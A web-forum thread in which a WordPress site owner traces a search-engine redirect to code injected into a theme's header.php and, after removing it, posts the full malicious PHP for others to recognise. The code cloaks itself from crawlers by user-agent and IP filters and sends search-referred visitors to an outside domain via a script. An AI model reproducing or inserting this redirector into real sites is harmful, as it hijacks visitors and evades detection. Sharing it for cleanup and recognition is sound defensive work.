I have noticed that when I go to my website via google it redirects to http://remedyutility.in/f6661e708d05be68/js2/1/

 

When I type it in the address bar it goes to the site without a problem. I've scanned the website with http://sitecheck.sucuri.net and it comes back as everything is fine.

 

Can someone please help me to stop the redirect from happening.

Your site has been compromised by Trojan:JS/Redirector.IT (link to MS malware encyclopaedia)

 

I've removed your site link from your signature for the time being, please feel free to add back once the site has been cleaned.

 

Your best bet is to restore a backup of the site and make sure to change all passwords.

How did you find that this is the issue? I didn't have a back-up (I know what a tool), I uploaded the new wordpress core files but still have the same issue Any suggestions to resolve this would be great.

I did just try to have a look but it appears the site is error prone right now.

I did just try to have a look but it appears the site is error prone right now.

 

Was uploading another version of WP, its up now, still has the issue though.

Switch to another theme. preferably twenty ten/eleven and let me know when you've done that

Theme changed to twentyeleven and it doesn't happen now!! So it must be the theme, now since I've customised the hell out of it how can I find the code that's causing the error?

 

Really appreciate your help.

If you don't mind PM'ing me the FTP details i'll have a quick look for you.

I've just found a load of code in the header.php file within the theme, I removed this and its working again I'd just like to thank you for your help with this, its really appreciated!

 

Can you suggest plugins or anything to help secure my site? How did they get in to that file in the first place?

 

Below is the horrible code if anyone is having this issue.

 

<?php
$is_bot = FALSE ;
$user_agent_to_filter = array( '#Ask\s*Jeeves#i', '#HP\s*Web\s*PrintSmart#i', '#HTTrack#i', '#IDBot#i', '#Indy\s*Library#',
                              '#ListChecker#i', '#MSIECrawler#i', '#NetCache#i', '#Nutch#i', '#RPT-HTTPClient#i',
                              '#rulinki\.ru#i', '#Twiceler#i', '#WebAlta#i', '#Webster\s*Pro#i','#www\.cys\.ru#i',
                              '#Wysigot#i', '#Yahoo!\s*Slurp#i', '#Yeti#i', '#Accoona#i', '#CazoodleBot#i',
                              '#CFNetwork#i', '#ConveraCrawler#i','#DISCo#i', '#Download\s*Master#i', '#FAST\s*MetaWeb\s*Crawler#i',
                              '#Flexum\s*spider#i', '#Gigabot#i', '#HTMLParser#i', '#ia_archiver#i', '#ichiro#i',
                              '#IRLbot#i', '#Java#i', '#km\.ru\s*bot#i', '#kmSearchBot#i', '#libwww-perl#i',
                              '#Lupa\.ru#i', '#LWP::Simple#i', '#lwp-trivial#i', '#Missigua#i', '#MJ12bot#i',
                              '#msnbot#i', '#msnbot-media#i', '#Offline\s*Explorer#i', '#OmniExplorer_Bot#i',
                              '#PEAR#i', '#psbot#i', '#Python#i', '#rulinki\.ru#i', '#SMILE#i',
                              '#Speedy#i', '#Teleport\s*Pro#i', '#TurtleScanner#i', '#User-Agent#i', '#voyager#i',
                              '#Webalta#i', '#WebCopier#i', '#WebData#i', '#WebZIP#i', '#Wget#i',
                              '#Yandex#i', '#Yanga#i', '#Yeti#i','#msnbot#i',
                              '#spider#i', '#yahoo#i', '#jeeves#i' ,'#google#i' ,'#altavista#i',
                              '#scooter#i' ,'#av\s*fetch#i' ,'#asterias#i' ,'#spiderthread revision#i' ,'#sqworm#i',
                              '#ask#i' ,'#lycos.spider#i' ,'#infoseek sidewinder#i' ,'#ultraseek#i' ,'#polybot#i',
                              '#webcrawler#i', '#robozill#i', '#gulliver#i', '#architextspider#i', '#yahoo!\s*slurp#i',
                              '#charlotte#i', '#ngb#i' ) ; 

$stop_ips_masks = array(
       "66\.249\.[6-9][0-9]\.[0-9]+",    // Google    NetRange:   66.249.64.0 - 66.249.95.255
       "74\.125\.[0-9]+\.[0-9]+",        // Google     NetRange:   74.125.0.0 - 74.125.255.255
       "65\.5[2-5]\.[0-9]+\.[0-9]+",    // MSN        NetRange:   65.52.0.0 - 65.55.255.255,
       "74\.6\.[0-9]+\.[0-9]+",        // Yahoo    NetRange:   74.6.0.0 - 74.6.255.255
       "67\.195\.[0-9]+\.[0-9]+",        // Yahoo#2    NetRange:   67.195.0.0 - 67.195.255.255
       "72\.30\.[0-9]+\.[0-9]+",        // Yahoo#3    NetRange:   72.30.0.0 - 72.30.255.255
       "38\.[0-9]+\.[0-9]+\.[0-9]+",     // Cuill:     NetRange:   38.0.0.0 - 38.255.255.255
       "93\.172\.94\.227",                // MacFinder
       "212\.100\.250\.218",            // Wells Search II
       "71\.165\.223\.134",            // Indy Library
       "70\.91\.180\.25",
       "65\.93\.62\.242",
       "74\.193\.246\.129",
       "213\.144\.15\.38",
       "195\.92\.229\.2",
       "70\.50\.189\.191",
       "218\.28\.88\.99",
       "165\.160\.2\.20",
       "89\.122\.224\.230",
       "66\.230\.175\.124",
       "218\.18\.174\.27",
       "65\.33\.87\.94",
       "67\.210\.111\.241",
       "81\.135\.175\.70",
       "64\.69\.34\.134",
       "89\.149\.253\.169"
   );
// ïðîâåðÿåì ýòî áîò çàøåë èëè íåò
foreach ( $stop_ips_masks as $k=>$v )
{
   if ( preg_match( '#^'.$v.'$#', $_SERVER['REMOTE_ADDR']) )
       $is_bot = TRUE ;
}
// ïðîâåðÿåì ýòî áîò çàøåë èëè íåò
if ( $is_bot || !( FALSE === strpos( preg_replace( $user_agent_to_filter, '-NO-WAY-', $_SERVER['HTTP_USER_AGENT'] ), '-NO-WAY-' ) ) )
{
}else{
$code = '<script>
var r=document.referrer,t="",q;
if(r.indexOf("google.")!=-1)t="q";
if(r.indexOf("msn.")!=-1)t="q";
if(r.indexOf("yahoo.")!=-1)t="p";
if(r.indexOf("altavista.")!=-1)t="q";
if(r.indexOf("aol.")!=-1)t="query";
if(r.indexOf("ask.")!=-1)t="q";
if(t.length&&((q=r.indexOf("?"+t+"="))!=-1||(q=r.indexOf("&"+t+"="))!=-1))
window.location="http://www.thatmag.net/wp-includes/js/go.php?keyword="+r.substring(q+2+t.length).split("&")[0];
</script>';
echo $code;
}

?>

Yup that looks like it to me. I just tried your site and it all seems clear now.

Feel free to edit the site back in to your signature.

Can you suggest plugins or anything to help secure my site? How did they get in to that file in the first place?

 

This is a good start, but automated solutions are no substitute for setting it up right in the first place. Change all passwords - WP, cpanel and FTP - and make sure your file permissions are as tight as they can be.